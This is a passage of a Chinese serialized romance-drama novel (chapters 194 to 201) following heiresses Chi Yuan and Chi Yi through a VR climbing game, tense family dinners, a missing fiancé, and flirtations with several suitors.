池鸢的登山靴死死扣住岩缝,冷汗顺着脊椎滑进冲锋衣领口。 她不敢低头,却瞥见自己颤抖的影子在岩壁上扭曲变形,膝盖不受控制地磕在粗糙的石灰岩上,发出闷响。盛......她的声音被山风撕成碎片,指节因为过度用力攥着安全绳而泛白,这落差至少有三十层楼高...... 盛明栩转头时,头灯的光束扫过她煞白的脸。他解下腰间备用的登山扣,金属环相碰发出清脆声响:三点式固定法,重新检查锚点。 他的声音带着常年登山练就的沉稳,却在瞥见她微微发抖的睫毛时,放缓了语气,别去想深渊,看我给你做的标记。 探照灯的光圈里,几粒反光钉像星星般钉在垂直的岩壁上,在幽暗中连成蜿蜒的光带。 池鸢深吸一口气,冰凉的空气刺痛鼻腔,她强迫自己把注意力集中在眼前晃动的登山镐上——那是唯一能抓住的现实。 山风裹挟着潮湿的寒意掠过颈间,池鸢颤抖着合上眼。 胃部传来的灼烧感与心底的恐惧交织,冷汗浸透的贴身速干衣黏在背上,寒意顺着脊椎一寸寸往上爬。她死死咬住下唇,尝到了铁锈般的血腥气,指节在安全绳上掐出深深的月牙印。 腰间突然传来剧烈的拉扯,惯性让她失去平衡,整个人跌进带着雪松气息的怀抱。 盛明栩有力的手臂稳稳圈住她的腰,登山服粗糙的布料蹭过脸颊,混着汗味的体温透过布料传来。 她听见自己擂鼓般的心跳声,分不清是因为坠落的惊险,还是近在咫尺的温热呼吸。 看把你吓得。头顶传来带着笑意的声音,带着某种不容察觉的心疼。 盛明栩低头时,帽檐的水珠恰好滴在她发烫的耳垂上,惊得她浑身一颤。他伸手将她松散的登山扣重新扣紧,指腹不经意擦过她冰凉的皮肤,下次记得把安全绳打双结,嗯? 岩壁攀爬的惊险余韵还在四肢游走,池鸢指尖的微颤尚未消退。 就在她琢磨着下一处锚点位置时,头灯突然发出刺啦的电流声,惨白的光束剧烈闪烁两下,彻底沉入黑暗。潮湿的雾气瞬间填满失去光源的虚空,盛明栩急促的呼吸声在耳畔响起,带着令人心安的温度。 系统强制登出。盛明栩的声音从头顶传来,安全带自动解锁的咔嗒声打破寂静。 失重感骤然袭来的瞬间,池鸢下意识抓住身侧热源,却触到一片带着游戏残留触感的登山布料。 等她再睁眼,已经回到泛着冷白光的VR舱内,舱门缓缓升起的机械音中,冷汗浸透的后背贴着舱壁,凉意顺着尾椎骨蔓延。 摘下全息眼镜时,池鸢的视线在腕表的电子屏上凝固——八点整的数字刺得她瞳孔微缩。 明明感觉只过去了几十分钟,岩壁上的每一秒却像被无限拉长。 她转头看向隔壁舱门刚打开的盛明栩,对方额发还沾着虚拟世界的冷汗,镜片后的眼睛却亮得惊人。 这游戏怎么这么逼真。池鸢听见自己沙哑的声音。指尖残留的岩壁粗糙触感与现实中光滑的舱体边缘重叠,胃部翻涌的恐惧仍未消散。 她看着盛明栩将眼镜随意丢进收纳盒,金属框与塑料碰撞出清脆声响,突然意识到,那些令她战栗的悬崖峭壁、温热怀抱,不过是0和1组成的数据洪流。 第194章 暮色 暮色将玻璃窗染成墨色,池鸢攥着陶瓷杯的手指微微发白。 姜茶的热气在冷空气中凝成薄雾,却暖不透她浸在冰窟般的四肢。 方才在实验室的场景仍在脑海中翻涌,盛明栩调试精密仪器时专注的侧脸,还有他指尖不经意间擦过她手背的触感,都化作细密的电流游走全身。 我要回去了,回去泡个澡。她的声音像是从很远的地方飘来,不等对方回应,夺门而出。 楼道水晶灯明亮。 她裹紧大衣,踩着高跟鞋在大理石瓷砖狂奔,发丝凌乱地贴在汗湿的额角。 盛明栩望着她消失的背影,修长的手指仍悬在仪器操作面板上方。 白炽灯将他的影子拉得很长,落在那台正在运转的计算机上,像是某种沉默的守望。 接下来的一周,写字楼的旋转门照常吞吐着行色匆匆的白领。 池鸢把自己埋在报表和会议中,咖啡杯在办公桌上摞成小山。直到某天午休时,玻璃幕墙外忽然爆发出此起彼伏的惊叹。 何璃摘下脸上最后一块医用胶布的瞬间,连自动贩卖机的蓝光都像是为她打光。 整张脸如今光洁如玉,皮肤透着珍珠般的光泽,高挺的鼻梁与花瓣唇形完美契合黄金分割比。 她穿着新定制的香奈儿套装,踩着十厘米红底鞋从工位前走过,身后留下若有若无的蓝风铃香水味。 何姐这个月的客户满意度又破纪录了!实习生捧着文件小跑着跟在后面。 主管特意将茶水间新到的进口咖啡豆留给她,合作方送来的下午茶礼盒上贴着她名字的烫金标签。 茶水间的八卦声随着咖啡机的嗡鸣流淌。听说这次破格提拔名单里有何璃?那可不,她现在可是咱们部门的活招牌。 池鸢搅动着速溶咖啡,看着褐色漩涡中自己模糊的倒影。透过磨砂玻璃,她看见何璃正对着手机屏幕轻笑,对话框顶端赫然显示着沈默两个字。 深夜的办公室只剩零星几盏台灯亮着,何璃对着电脑屏幕反复修改述职报告。 晋升公示栏的蓝图在她眼前铺展:成为公司最年轻的部门总监,手握期权在年会上发言,然后挽着沈默的手臂走进陆家嘴顶层的旋转餐厅。 鼠标滚轮划过元老级员工持股计划的条款时,窗外的霓虹在她眼底流转,像是无数枚等待兑现的金色筹码。 然后就是赴约傅家的晚宴,说是宴会,更像是家庭会议。 水晶吊灯将玫瑰花纹地毯照得流光溢彩,池鸢攥着珍珠手包的指尖沁出薄汗。 雕花木门开合间,侍者托着银盘穿梭如蝶,龙虾浓汤的香气混着雪松香氛,却冲不散宴会厅里凝滞的空气。 这场名为晚宴的家庭会议,早在她踏入傅家老宅时便显露出剑拔弩张的端倪——玄关处整面墙的家族合影里,唯独缺了傅渊的位置。 长形餐桌铺着比利时蕾丝桌布,鎏金餐具折射着冷光。 盛明栩坐在最左侧,深灰色西装勾勒出清隽轮廓,骨节分明的手指无意识摩挲着酒杯。 当池鸢的目光与他相撞,他微不可察地颔首,却被老太太突然的拍桌声打断。 三个月了!生不见人死不见尸,傅渊到底到哪去了?傅老太太将檀木拐杖重重杵在地上,翡翠扳指磕出闷响。 她银丝盘成的发髻微微颤动,眼角的皱纹里都凝着怒意,公司季度报表一塌糊涂,外面风言风语说傅家要倒,你们谁来收拾烂摊子? 众人噤若寒蝉。 傅家大掌柜傅景年转动着雪茄,烟灰簌簌落在骨瓷碟上。 远房表妹傅清浅低头摆弄着爱马仕丝巾,珍珠耳坠在脸颊旁摇晃。 池鸢将准备好的发言咽在喉咙里,在这剑拔弩张的气氛里显得如此不合时宜。 奶奶,渊哥说不定是去谈重要合作了。傅清浅打破沉默,声音像浸了蜜的刀刃,倒是盛先生,最近频繁出入家宴,该不会是......她拖长尾音,眼波流转间满是意味深长。 盛明栩放下酒杯,杯底与桌面相撞发出脆响:傅小姐不妨有话直说。他的声音低沉如大提琴,却暗藏锋芒。池鸢注意到他指节泛白,显然也在压抑情绪。 “清浅,你少说两句。” 当傅老太太将质问的矛头转向她时,宴会厅突然陷入诡异的寂静。 池鸢能听见自己剧烈的心跳,空调出风口的风声,还有盛明栩克制的呼吸声。那些精心准备的商业策略,此刻都化作喉间的哽塞。 最终,晚宴在摔碎的红酒杯声中不欢而散。 池鸢踩着细高跟踉跄地穿过长廊,月光透过雕花窗棂洒在青石板上,将她的影子拉得很长,与老宅屋檐下悬挂的铜铃一同摇晃,仿佛无数未说出口的秘密在夜色中飘荡。 第195章 勾 暮色给饭店鎏金雕花的门檐镀上一层琥珀色光晕,池鸢刚踏出旋转门,就看见傅清浅倚在雕花栏杆旁。 晚风卷起她及腰的栗色长发,腕间的翡翠镯子与指尖的珍珠戒指在余晖中流转着温润的光泽,她正漫不经心地将一条钻石项链绕在指尖把玩,链条垂落时折射出细碎的光。 池姑娘好。傅清浅抬起头,嘴角勾起一抹恰到好处的笑意。 她身上的香奈儿高定小黑裙剪裁利落,脖颈处的红宝石项链与耳坠遥相呼应,精致妆容下的眉眼却带着几分倦意。 池鸢望着这张熟悉又陌生的面孔,记忆突然被拉回儿时的紫藤花架下。 那时的傅清浅总爱把糖纸叠成星星,塞给躲在廊柱后的自己和哥哥。 可不知从何时起,这个曾追着他们跑的小女孩,变成了常年旅居巴黎的珠宝设计师,连家族聚会都鲜少露面。 “清浅不是一直在国外吗?”池鸢拢了拢披肩,目光不自觉落在对方腕间那条限量款卡地亚手链上,“这次突然回来...”话音未落,傅清浅已经将首饰盒轻轻合上,金属扣发出清脆的咔嗒声。 “有些事总该回来处理。”她的目光越过池鸢肩头,望向远处霓虹渐次亮起的街道,耳垂上的红宝石随着动作轻轻晃动,“没听说傅渊不安分,他一直忙家族生意。” 尾音带着若有若无的嘲讽,却在转头看向池鸢时又化作温柔笑意,不过这些烦心事不提也罢,改天请你去我的工作室坐坐? 霓虹映在名片烫金的边角上微微发烫,池鸢指尖摩挲着工作室几个字,最终还是将卡片收进包里。 晚风裹着炭火香掠过湖面,她鬼使神差地拐进夜市,在滋滋冒油的烧烤摊前停住脚步。 夜色渐浓,月亮爬上柳树梢头。 池鸢坐在湖边的木栈道上,脚边堆着竹签,远处传来情侣们的嬉笑。 有女孩将烤串喂进男孩嘴里,也有年轻夫妻推着婴儿车散步。 时针悄悄滑向十二点,夜市的喧嚣逐渐沉寂。 池鸢望着湖面倒映的月影,忽然觉得夜风有些凉。 她抱紧双臂,看着粼粼波光中自己孤单的影子,想起傅清浅颈间昂贵的红宝石,又低头看了看沾着油渍的衣角,轻声叹了口气。 深夜的寒气裹着湖水腥气扑面而来,池鸢下意识缩了缩脖子。 头顶忽然罩下一片阴影,风掠过耳畔,她猛地抬头,正对上里亚深沉的目光。 月光勾勒出他下颌冷硬的线条,眉骨处新增的疤痕蜿蜒至鬓角,西装领口沾着未掸尽的旅途尘埃,唯有那双眼睛还残存着几分记忆里的温度。 “好久不见。”里亚的声音比记忆里低沉许多,喉结滚动着咽下疲惫。 池鸢望着他衬衫第二颗纽扣处的磨损痕迹,那里原本别着他们大学辩论队的徽章。 曾经那个总爱系着格子围巾、在图书馆占座的少年,如今眼底沉淀着洗不尽的沧桑,不知道去了哪里,但看来为了找人花了不少功夫。 她攥紧兜里的名片,烧烤的余温还残留在指尖:“我找到他了。” 远处传来末班渡轮的汽笛声,惊起一滩栖息在芦苇丛里的水鸟,扑棱棱的振翅声。 “他前几天来找过我,就在我公寓。” 第196章 梢 暮色在霓虹灯里碎成点点光斑,池鸢捏着竹签的指尖还沾着孜然,身后突然响起的声音惊得她肩头一颤。 抬头望去,傅清浅踩着细高跟从暗影里走来,衬衫的领口半敞,腕间腕表折射的冷光和她眼底的审视如出一辙。 “池小姐好雅兴。”傅清浅垂眸扫过油腻的烧烤摊,涂着暗红甲油的手指轻轻抚过颈间锁骨链,“晚宴上连香槟都抿不完,倒有胃口在这烟熏火燎。 池鸢慌忙用纸巾擦去嘴角油渍,金属烤架在夜风里发出细微的震颤。 她盯着对方耳垂上晃动的钻石,喉结动了动,胃袋突然发出一阵不合时宜的轰鸣,惊得她耳尖发烫,“晚上那点根本不顶饿,刚才又...” “刚才?”傅清浅突然逼近,香水裹挟着酒精气息扑面而来。她环顾四周空荡荡的塑料桌椅,夜市霓虹在她镜片上投下诡谲的光晕,“你对着空气笑了五分钟,在和谁说话?” 竹签在池鸢掌心沁出冷汗。远处传来小贩的吆喝声,却衬得此刻的寂静愈发刺耳。 她强扯出笑容,发梢扫过泛红的脸颊:“傅小姐说笑了,大概是油烟熏得眼睛发花。” 余光瞥见对方镜片后的瞳孔微微收缩,心跳陡然加快,自从傅渊消失,我最近总睡不好...可能出现。 傅清浅嗤笑一声,裙子下摆带起一阵风。 池鸢望着她摇晃的背影,注意到那双高跟鞋在青石板上划出歪斜的轨迹——方才晚宴上,她喝了好几杯。 我送你。池鸢抓起她纤细的胳膊。 不必。傅清浅头也不回地拦出租车,池小姐还是多关心自己,别哪天对着空气殉情了,还得我们傅家替你收尸。 车门关闭的瞬间,池鸢的脑海里冒出傅渊的身影。 霓虹灯在池鸢睫毛上投下明明灭灭的光晕,傅清浅的黑色轿车拐过街角时扬起半片枯叶,被风卷着擦过她的衣角。 夜色里忽然漫过一阵潮湿的风,裹挟着烧烤摊的烟火气与远处江面的腥甜,她下意识拢紧外套,却触到衣袋里冰凉的手机——屏幕亮起的瞬间,游戏界面弹出的消息框在黑暗中泛着幽蓝。 刚刚谁找你?里亚的游戏角色在虚拟地图上跳了两下,头顶飘出对话框。 她对着空气轻声说:傅家的二小姐,来兴师问罪的。 问什么罪? 风掀起她耳后的碎发,露出颈间若隐若现的红痕。池鸢盯着远处路灯下纠缠的树影。 问我为什么对着空气说话。 她想起他们在游戏里结为侠侣的那个雨夜,里亚带着她刷遍全服最难的副本,说要给她最华丽的结婚场景。 那时她只当是虚拟世界的玩笑,直到某天对方发来现实城市的定位,说:我就在你附近,说不定转角就能遇见。 此刻江风卷着传单扑在她小腿上,一个连真实姓名都不知道的游戏伴侣,却比自己更在意她未婚夫的去向。 手机再次震动,发来一张照片:某个监控截图里,戴着鸭舌帽的男人正在ATM机前取钱,模糊的侧脸却让她呼吸停滞。 这是三天前的录像,消息框弹出新字,我在旧城区找到的。 风猛地大起来,池鸢盯着照片里那个熟悉又陌生的身影。 她忽然分不清,此刻站在烧烤摊旁的自己,究竟是被未婚夫抛弃的池家千金,还是游戏里被侠侣守护的江湖客。 第197章 萦 暮色将城市染成浓稠的琥珀色时,池鸢盯着手机屏幕的指尖微微发颤。 对话框里“知道了”三个字在冷光下泛着生硬的棱角,就像她此刻紧绷的神经。 路灯突然亮起,在柏油路面投下交错的光斑,她下意识将手机塞进黑色手提包深处,金属链条硌得掌心生疼。 拐角处飘来咖啡烘焙的焦香,却没能驱散她心头的阴霾。 “看来要给侦探结一下封口费了。”她喃喃自语,高跟鞋碾过枯叶的脆响惊飞了树梢的夜枭。 当她转身想确认身后是否有人跟踪时,才发现原本倚在梧桐树下的黑色身影已经消失不见。 潮湿的晚风掠过耳畔,却裹挟着熟悉的声线:“你未婚夫的下落找到了。” 远处建筑工地的探照灯扫过来,照亮她骤然失色的脸。 三个月前傅渊失踪时,刑人卷宗里轻飘飘的“人口走失”四个字,撕碎了她所有的安全感。 此刻却像掌握着命运齿轮的钥匙,让她既期待又恐惧。 “实在不知道他们的居心。”里亚的声音混着远处地铁驶过的轰鸣,仿佛从地底下传来,“尤其是那些突然亲近你的人。” 池鸢感觉后颈泛起细密的冷汗,傅渊手握的股份......这些碎片在脑海中疯狂旋转。 “说起来,还不知道你的真名。”她鼓起勇气转身追问,却只看见空荡荡的人行道。 风卷起街角的传单,在路灯下翻飞成苍白的蝴蝶。 远处便利店的电子钟显示18:17,手机就在这时震动起来,屏幕上“池宜”两个字刺得她眼睛生疼。 “喂,池鸢,你还好吗?今天去了酒店大会,晚上约你一起吃个饭好吗?”池宜的声音从听筒传来,背景音里隐约有水晶吊灯的轻响。 池鸢望着橱窗里自己扭曲的倒影,指甲深深掐进掌心:“好啊,我在地铁站这里。”挂断电话时,她才发现玻璃上不知何时凝满了水雾,就像她看不清的前路。 暮色彻底沉入地底时,池鸢在地铁口的玻璃幕墙前瞥见自己的倒影——肩线绷得笔直,像根随时会断裂的琴弦。 她攥着手机反复刷新消息,屏幕冷光映得眼下青黑愈发浓重。 远处传来皮鞋叩击地砖的脆响,池宜踩着十厘米细高跟踉跄跑来,香奈儿套装沾着几缕碎发。 “这车啊,卖了倒省心。”池宜摘下墨镜,镜片后的瞳孔在霓虹中微微收缩,“过阵子连老宅都得抵押,你堂叔赌红了眼......” 她突然哽咽着抓住池鸢的手腕,骨节硌得人生疼。 地铁闸机吞吐着人潮,裹挟着消毒水与汗味的风扑面而来,池鸢望着堂姐精心描绘的眉峰下渗出的薄汗,突然意识到那些深夜转账记录背后的真相。 她们随着人流挤进车厢时,池鸢正低头回里亚发来的加密信息。 不锈钢扶手上的冷意顺着指尖蔓延,突然听见池宜倒抽冷气的声音。 那个裹着灰大衣的女人擦身而过的瞬间,池鸢只看见对方耳后刺青的边缘——是只振翅的乌鸦。 钱包!我的钱包!池宜的尖叫刺破车厢的嗡鸣。 池鸢的太阳穴突突直跳,听见身后传来熟悉的呵斥:站住! 穿藏蓝警服的身影如猎豹般掠过自动扶梯,池鸢在转角处刹住脚步。刑人的侧脸在应急灯下忽明忽暗,他腰间的配枪泛着冷光——正是那个追查她与黑帮纠葛的刑警。 此刻他却目不斜视地追着小偷,警靴踏在台阶上的声响,与池鸢剧烈的心跳重合。 当小偷被按倒在墙角时,池宜喘着气冲上前。 刑人递回钱包,指尖掠过池宜手腕的瞬间,池鸢看见堂姐耳尖泛起可疑的绯红。 两人交换联系方式时,池鸢盯着刑人记录本上洇开的墨迹,突然想起以前的对话:“池小姐,有些秘密,藏得越深越危险。” “你脸色好差。”池宜的指甲掐进她手臂,是不是不舒服? 地铁站广播开始播报车次信息,池鸢望着刑人远去的背影,后颈泛起细密的战栗。 地铁口的穿堂风卷起池鸢耳畔碎发,她捏着快要凉透的奶茶杯,指腹摩挲着杯身凝结的水珠:“还吃饭吗?” 池宜的睫毛颤了颤,涂着甲油的手指无意识绞着爱马仕丝巾。 霓虹灯在她脸上投下斑驳光影,终于轻轻叹了口气:“其实......” 话音未落,池鸢已经了然——果然又是为了钱。 看着堂姐刻意挺直的肩膀下藏着的紧绷,她突然想起小时候被池宜护在身后躲雨的场景,喉咙发紧:“回头问问我爸妈,你放心好了。” “小鸢你最好了。”池宜的眼眶瞬间泛红,突然翻出手机相册,屏幕亮起的瞬间,婴儿肥嘟嘟的小脸让空气都变得柔软。 “可惜傅渊最近不见踪影,不然你也......”她的声音戛然而止,指尖悬着迟迟未落。 刺耳的手机铃声突兀响起,池宜盯着屏幕瞳孔骤然收缩。“抱歉,我得先走了。”她抓起鳄鱼皮包时,香奈儿五号香水的尾调还萦绕在原地。 第198章 柔 第二日,池宜看着刑人把黑色录音笔塞进帆布包时,指甲无意识抠着包带的线头。 阳光把地面晒出沥青融化的错觉,她眯起眼睛,在斑驳的树影里看见了个熟悉的身影。 浅紫色真丝衬衫裹着盈盈一握的腰肢,珍珠耳钉在鬓角若隐若现。 陈容正对着手机轻声细语,修剪精致的指甲在屏幕上滑动,浅口高跟鞋踩着树影款款走来。 池宜的脚步僵在原地,帆布包的金属扣硌得锁骨生疼——三天前,这个女人还在客厅安慰她父亲,此刻却出现在这繁华市区。 小宜?陈姨抬头时,嘴角的微笑像精心雕琢的陶瓷花瓶,怎么在这儿?她的香水味裹挟着空调冷气扑面而来,和刑人所里混杂着汗味的空气形成诡异的割裂。 池宜看着对方无名指上崭新的钻戒,喉头发紧:昨天遇到了个贼,然后就过来配合调查。 蝉鸣声突然尖锐起来,陈姨的目光扫过她胸前沾着墙灰的胸针,睫毛在眼下投出细长的阴影。 手机在这时响起,她瞥了眼屏幕,笑容里多了几分职业性的疏离:替我向你爸爸问好。转身时,真丝衬衫下摆扫过池宜手背,凉意沁得她打了个寒颤。 阳光斜斜洒在商业街的玻璃幕墙上,折射出细碎的光斑。 陈容挎着新款鳄鱼皮包走在最前头,真丝连衣裙随着步伐轻轻摇曳。身旁的闺蜜拎着几个印着奢侈品牌LOGO的购物袋,几人不时凑在一起说笑,香水味在空气中交织。 陈容的儿子李明远远跟在后面,双手各提着沉甸甸的购物袋,胳膊还挂着好几件包装严实的衣物。 即使额头沁出细密的汗珠,他也只是腾出一只手随意擦了擦,始终保持着温和的笑意。黑色SUV稳稳停在商场地下车库,李明利落地打开后备箱,将大包小包整齐码放好,又贴心地为母亲和阿姨拉开车门。 这孩子,真是出了名的孝顺!闺蜜忍不住赞叹。 陈容眼角眉梢都藏不住笑意。 李明发动车子时,后视镜里映出母亲舒展的眉眼,嘴角的弧度不自觉又深了几分。 “小宜也一起吧!”陈容半倚在商务车门边,涂着豆沙色口红的嘴角弯成优雅的弧度,指尖轻轻叩着车身的金属漆,正好尝尝新开的菜馆。” 她身后的闺蜜已经坐进真皮座椅,对着车内宽敞的空间发出赞叹。 池宜将帆布包往肩上提了提,阳光透过商务车的全景天窗落在陈容新做的豆沙色美甲上,折射出细碎的光。 “那就麻烦陈姨了。” 李明远已经绕到车门另一侧帮忙拉开车门,新款商务车的自动踏板缓缓落下。 真皮座椅的淡淡香气混着空调冷气涌出来,池宜在陈容示意下坐在后排,发现连杯架都贴心地放着冰镇矿泉水。 车身平稳启动时,她瞥见前排后视镜里李明远专注的侧脸。 饭馆包厢里,水晶吊灯将鲍汁的琥珀色光晕映在众人脸上。 陈容用银匙舀起一勺杨枝甘露,忽然轻叹:“你妈妈最近总失眠。” 话音未落,她的手机在骨瓷碟旁震动起来。 李明远默默给池宜添了碗例汤,骨瓷碗碰撞的脆响惊得陈容迅速按灭手机。 闺蜜们开始讨论新款包包,陈容却突然将话题转向池宜:“听说你们酒店资金紧张?有没有兴趣看看阿姨的投资机会?” 她的手指划过菜单,我们新开发的公益项目,正缺你这样的a类资质企业。 池宜低头搅着甜品,冰凉的液体在汤匙边凝成水珠。 当李明远递来温热的毛巾时,她才有所反应。 陈容看向池宜的大牌帆布包:“现在的年轻人,还在用这么复古的东西?”她的笑容依然温柔。 第199章 住 水晶吊灯在宴会厅投下细碎的光晕,池宜指尖轻轻摩挲着骨瓷咖啡杯,垂眸避开陈容灼灼的目光。 “久仰陈阿姨在私募领域的斐然成就。”池宜将茶盏搁回银质托盘,瓷器相碰的轻响里,她垂落的发丝遮住眼底的警惕,“这类重大决策...”话音未落。 李明远走到池宜身边,不着痕迹地挡在她身前,抬手松了松定制领带,目光带着几分无奈与嗔怪地看向母亲:“妈,您这问法也太直接了,就像在做商业谈判。池小姐初来乍到,被您这么一问,当然不好立刻答复。” 他转头看向池宜时,眼中的冷意瞬间化作温和的笑意,“池小姐别介意,我妈就是太看重这次合作,才会如此急切。” 陈容涂着蔻丹的手指顿在半空,艳丽的妆容下眉峰微挑。宴会厅的空调送来阵阵凉意,裹挟着水晶吊灯折射的冷光,将这场暗流涌动的对话凝固成无声的对峙。 何必来回折腾?陈容突然倾身向前,香奈儿五号的馥郁气息裹挟着压迫感扑面而来,暗红口红勾勒的嘴角扬起志在必得的弧度,池经理执掌运营部这些年,酒店的财务报表都在你手里打转。我可是听说,上个月的供应商货款...... 话音未落,尉迟延已跨步挡在两人之间,定制皮鞋在大理石地面擦出细微声响。 陈阿姨!青年扯松的领带歪斜地挂在颈间,琥珀色瞳孔泛起冷意,池小姐刚从刑人所结束调查,舟车劳顿还要应付您的连环追问? 池宜的指甲深深掐进丝绒裙摆,刑人所的铁锈味仿佛还萦绕在鼻尖。 她满心诧异,完全想不通怎么会在这里看见尉迟延,还这般维护自己。宴会厅里的空气粘稠得让人窒息,空调出风口的嗡鸣在此刻都格外清晰。 陈容仰头轻笑,烈焰红唇勾起优雅又危险的弧度,眼角的细纹里都藏着算计:瞧这孩子,怎么生这么大气?我是真心想帮酒店,哪里就成逼问了。” 她尾音婉转上扬。 雕花木门在身后重重合拢,宴会厅的喧嚣骤然被隔绝。 风裹挟着香樟树的气息掠过,池宜望着尉迟延被路灯拉长的影子,喉间泛起酸涩——这个总爱把领带系得一丝不苟的男人,此刻歪斜的领口竟显得有些狼狈。 我送你回去吧。尉迟延转身时,琥珀色眼眸在暮色里泛着柔光,你不会回去看孩子?他的声音低下去,尾音像被夜风揉碎。 池宜攥紧挎包肩带,刑人所铁窗的冷硬触感仍残留在指尖。她望着远处霓虹闪烁的广告牌,轻笑出声:去录口供了,没想到会在这遇见你。街灯次第亮起,将她的影子叠在尉迟延的轮廓上。 就算再爱孩子,谁不要出来工作吃饭。 我在隔壁厅聚餐。尉迟延伸手解开最顶端的纽扣,喉结在暗色西装领口若隐若现,和几个公司负责人谈项目,从下午耗到现在。他的苦笑混着叹息,消散在渐浓的夜色里。 两人并肩走向停车场,高跟鞋叩击地面的脆响与皮鞋沉稳的脚步声交织。 池宜盯着脚边斑驳的树影,忽然说:这年头,生意都不好做。风卷起她鬓角的碎发,远处传来车辆呼啸而过的轰鸣,却盖不住尉迟延低声的回应:但有些事,再难也得扛住。 第200章 相 停车场的顶灯在镜面地砖上折射出冷光,尉迟延松着衬衫领口,倚在银色迈巴赫旁透气。 喉结随着呼吸微微起伏,西装外套随意搭在臂弯,露出半敞的丝绸衬衫。 电梯门开合的叮咚声打破寂静,四位鬓角染霜的老者缓步而出。 为首的陆总夹着古巴雪茄,金丝眼镜泛着冷光,身后跟着拎公文包的助理。尉迟延立刻挺直脊背迎上去,骨节分明的手主动伸出:陆叔,刚才酒局上没来得及好好请教... 小尉啊。陆总没握他的手,目光扫过他敞开的领口,雪茄灰落在锃亮的皮鞋上,年轻人要注意形象,这扣子都开到第三颗了,成何体统?旁边的张董附和着轻笑,鳄鱼皮带扣在灯光下晃得人眼疼。 池宜刚打完电话转身,睫毛猛地颤了颤。她踩着十厘米细高跟快步上前,甜笑如春日暖阳:陆叔叔、张伯伯好呀! 话音未落,就听见张董的嗤笑:酒量不行还想在商圈站稳?我们正筹备红酒庄项目,没点千杯不醉的本事—— 尉迟延的太阳穴突突直跳。玻璃幕墙外的霓虹突然扭曲成三年前的雨夜,那个浑身酒气的女演员倒在他怀里,闪光灯在暗处疯狂闪烁。 喉间泛起胆汁般的苦涩,他无意识地扯了扯领口。 是啊,某些人就是自制力差。池宜突然侧身,鞋子精准碾上他的皮鞋,笑容却愈发甜美,听说娱乐圈最近不太平,叔叔们可要小心别被牵连呢。 嘶!尉迟延闷哼出声,扶着车身的指节泛白。池宜踩着他的脚轻轻旋转,留下一道带着凉意的弧线。 尉迟延刚要迈步,陆总突然横臂拦住去路,雪茄烟雾笼着他阴沉的脸:小延,市场部的季度报表在我办公室。 张董晃着红酒杯,冰块碰撞声清脆得刺耳:听说亚方那块的订单......话音未落,已足够让尉迟延僵在原地。 他攥紧西装外套,指甲几乎掐进掌心——那些下滑的数字像毒蛇般盘踞在他的办公桌上,此刻正顺着脊梁骨往上爬。 我想去看看我老婆。这句话出口时,尉迟延自己都有些诧异。 喉结滚动间,他想起池宜转身时发梢扫过的温热触感,突然觉得这比业绩报表更叫人心慌。 停车场的感应灯随着池宜的脚步明灭。 直到尖锐的刹车声刺破夜色,那辆哑光黑跑车几乎擦着她的裙摆停下。尉迟延摇下车窗,领带歪斜地挂在脖子上,酒气裹着薄荷糖的味道扑面而来:池宜,我送送你吧,正好我心情不好,想出去透风。 池宜后退半步,瞳孔映得他眼底血丝分明:让开。 她抱紧包包,“酒驾扣12分,我可不想上明天的社会新闻头条。” 车门锁扣刚咔嗒合上,酒气裹挟着灼热气息猛然笼罩过来。 尉迟延单手撑在真皮座椅靠背上,另一只手扣住池宜的手腕,带着薄荷味的呼吸扫过她泛红的耳垂。池宜瞳孔骤缩,还未及反应,男人滚烫的唇已经压了下来。 你发什么疯!她拼尽全力偏过头,脖颈擦过他衬衫纽扣划出红痕。 掌心抵住尉迟延肩膀狠狠一推,金属腕表在推搡间硌得生疼。后视镜里,她看见自己发丝凌乱,耳垂因愤怒泛起不正常的潮红。 尉迟延被推得撞在车门上,却依旧笑得眉眼弯弯。 他歪着头,领带彻底滑到一边,衬衫第二颗纽扣不知何时崩落在地:我没醉,宜宜你闻——他突然凑近,温热的吐息喷洒在她锁骨,我喝的是无醇香槟。 车载香水的雪松香混着紊乱的呼吸,池宜攥着方向盘的手青筋暴起。 她猛地发动引擎,轮胎摩擦地面发出刺耳声响。一路上尉迟延像只黏人的型犬,不是伸手去够她头发,就是歪头蹭她肩膀,嘴里还含糊不清地嘟囔着别生气。 直到黑色跑车停在别墅门前,池宜几乎是拽着尉迟延下车。 雕花铁门应声而开,管家迎上来时,正撞见她把醉醺醺的男人往前一推:看好他。 转身要走时,听见身后传来带着笑意的呢喃:嫂子。” 仆人低眉敛目,小声解释:“尉迟家的那位远房表弟,眼瞅着到了成家的岁数,姑姑心急,这阵子正紧锣密鼓地帮着相看人家呢。” 第201章 脆响 深秋的客厅里浮动着冷香,池宜端着骨瓷杯的手指无意识摩挲杯沿。 落地窗外梧桐叶打着旋儿坠落,将傅家小妹的轮廓勾勒得朦胧又鲜活——浅驼色羊绒大衣裹着纤细身形,贝雷帽下露出的栗色卷发泛着柔光,踩着短靴的少女正仰脸和尉迟家长辈说话,睫毛在眼下投出扇形阴影。 “傅小姐刚从圣马丁毕业。”尉迟家姑姑用银勺搅动红茶,茶匙磕在杯壁发出轻响,说是学时尚管理,回来要搞什么直播。池宜望着少女脖颈间晃动的珍珠项链,突然想起妹妹池鸢也参加过游艇派对。 记忆里池鸢举着香槟的笑声与姑姑的叹息重叠。 当仆人赔笑说女孩子心性时,池宜指尖微颤,红茶在杯中漾开涟漪。 表弟压低声音,手机屏幕蓝光映在他疲惫的脸上,昨天去参观网红基地,她踩着十厘米高跟鞋在仓库里走了三个小时。他苦笑摇头,腕间百达翡丽的表链随着动作轻晃,虽然和傅清浅交往的不顺。 暮色渐浓,落地窗外的清浅忽然转身,暮色中她的笑容明亮得近乎天真。 水晶吊灯在玻璃杯壁折射出细碎光斑,周明握着银质水壶的手顿了顿,壶嘴倾斜的水流泛起涟漪:“听说令兄最近在收购城西地块?” 傅清浅一听到哥哥的名号,紧张起来。 池宜看着那双盛着笑意的杏眼骤然转向自己,她仿佛看见妹妹池鸢,池鸢也是这样似笑非笑地望着那些想攀附傅家的男人。 傅清浅垂眸时耳坠轻晃,声音裹着蜜糖般的绵软:池大姐好? 寒意顺着脊椎爬上来。 池宜抓起手包起身,高跟鞋敲击大理石地面的声响在寂静客厅格外刺耳。 身后传来闷响,她知道是尉迟延跟了上来,这个男人身上带着酒气和烟草混杂的气味,像极了他摇摇欲坠的公司。 我送你。尉迟延的声音黏在耳边。 她盯着走廊尽头的大门,玻璃倒映出两人疏离的身影,突然想起私立学校校长办公室那幅烫金的校友名录。 电梯镜面映出两人交叠的身影,尉迟延:听说圣德国际的入学名额要提前半年运作。他倚着轿厢壁,金属腕表在昏暗灯光下泛着冷光,我认识董事会的林秘书。 